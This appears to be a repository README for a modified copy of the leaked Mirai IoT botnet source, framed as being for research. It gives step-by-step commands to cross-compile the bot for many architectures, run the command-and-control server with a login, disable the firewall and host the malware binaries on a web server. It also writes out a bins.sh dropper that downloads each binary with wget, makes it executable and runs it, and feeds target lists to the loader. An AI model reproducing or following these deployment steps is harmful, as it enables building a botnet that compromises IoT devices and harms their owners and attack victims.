Mirai BotNet to Tashiro(未来砲)
Leaked Linux.Mirai Source Code for Research/IoT Development Purposes
Uploaded for research purposes and so we can develop IoT and such.
Modified from https://github.com/jgamblin/Mirai-Source-Code
I was referring to this for a moment.
- To be able to use vi.
- Do not run in WSL.(I tried, but I couldn't use mysql or compile it.)
- It is recommended that Linux be used as the operating system.
This repository is for academic purposes, the use of this software is your responsibility.
The zip file for this repo is being identified by some AV programs as malware. Please take caution.
※If you are not logged in as root, be sure to add sudo and follow the installation instructions below.
※If you are unable to install the software, please refer to the following URL for installation.
# sudo apt-get install git gcc golang electric-fence mysql-server mysql-client
If you are using debian, you cannot install mysql as it is, so please install it in the following way.
# wget https://dev.mysql.com/get/mysql-apt-config_0.8.22-1_all.deb # sudo dpkg -i mysql-apt-config_0.8.22-1_all.deb # sudo apt update && sudo apt install mysql-server mysql-client
After installing the dependency tools, follow the steps below.
# git clone https://github.com/ware255/Mirai-Source-Code-plus.git # cd Mirai-Source-Code-plus/scripts
# chmod +x cross-compile.sh # sudo ./cross-compile.sh
Enter "n" here.
Install mysql-server and mysql-client (y/n)? n
# vi ~/.bashrc
Add the following string to the last line
export PATH=$PATH:/etc/xcompile/armv4l/bin export PATH=$PATH:/etc/xcompile/armv5l/bin export PATH=$PATH:/etc/xcompile/armv6l/bin export PATH=$PATH:/etc/xcompile/i586/bin export PATH=$PATH:/etc/xcompile/m68k/bin export PATH=$PATH:/etc/xcompile/mips/bin export PATH=$PATH:/etc/xcompile/mipsel/bin export PATH=$PATH:/etc/xcompile/powerpc/bin export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin export PATH=$PATH:/etc/xcompile/sh4/bin export PATH=$PATH:/etc/xcompile/sparc/bin export GOPATH=$HOME/go
After adding and saving, enter the following command
# mkdir ~/go # source ~/.bashrc
Get golang requiremnts
# go get github.com/go-sql-driver/mysql # go get github.com/mattn/go-shellwords
In mirai folder, run build.sh script
# cd ../mirai # chmod +x build.sh # ./build.sh release telnet
If you have iptbales/ip6tables or any firewall install disable it.
# sudo service iptables stop
※It will ask you to set a password, make sure you remember this.
# sudo /usr/bin/mysql_secure_installation
cd cnc/, open main.go and replace the root password you just entered with MySQL_Password.
const DatabaseAddr string = "127.0.0.1:3306" const DatabaseUser string = "root" const DatabasePass string = "MySQL_Password" const DatabaseTable string = "mirai"
Add users to mysql.
# cd ../../scripts # cat db.sql | sudo mysql -uroot -pMySQL_Password # sudo service mysql restart
Once you restart the mysql server, go to your debug folder ./mirai/release, you will seen a compiled file named cnc execute it.
# cd ../mirai/release # sudo ./cnc
Open a new window and execute the following command
# cd .. # cp prompt.txt release/
Then, use telnet to connect to your IP address.
The following is an example of running the telnet command.
# telnet 192.168.19.19
OK, well use this user name and password to login in this case the username is :
tashiro and the password is :
again in you server Terminal some like Putty or mobaxterm.
Go to this directory ../Mirai-Source-Code-plus/mirai/release
# cd Mirai-Source-Code-plus/mirai/release
Next, install and start the Apache server.
# sudo apt install apache2 # sudo service apache2 start
copy the mirai files at the apache source.
# sudo cp mirai.* /var/www/html
well we need to delete the index to show the index file directory on browser.
# rm /var/www/html/index.html
Then open a browser and enter http://localhost or your IP address and see if the file appears.
Go to /var/www/html and create bins.sh.
# cd /var/www/html # touch bins.sh
bins.sh and write the following (replace
IP OR HOSTNAME:80 with the vps IP you have or your own IP address).
#!/bin/sh # Edit WEBSERVER="IP OR HOSTNAME:80" # Stop editing now BINARIES="mirai.arm mirai.m68k miraint.x86 miraint.spc miraint.sh4 miraint.ppc miraint.mpsl miraint.mips miraint.arm7 miraint.arm5n miraint.arm" for Binary in $BINARIES; do wget http://$WEBSERVER/$Binary -O dvrHelper chmod 777 dvrHelper ./dvrHelper done rm -f "
If you have vps, please upload /var/www/html using sftp.
※If you do not have a vps, you may leave it as is.
Please check by yourself if it really uploaded, I don't know much about vps or anything like that.
Now restart the Apache server.
# sudo service apache2 restart
Next, to build the loader, go to Mirai-Source-Code-plus/loader/ and build the loader.
※Omit commands to move.
# chmod +x build.sh # ./build.sh
and after than type this code but put you filename here --> file.txt before paste
# cat file.txt | ./loader wget http://dyn.com
This completes the installation. :)
Thank you for your hard work. Take a break and have a cup of coffee or something.
The translation in English is DeepL, but there are some funny parts, so please be warm there.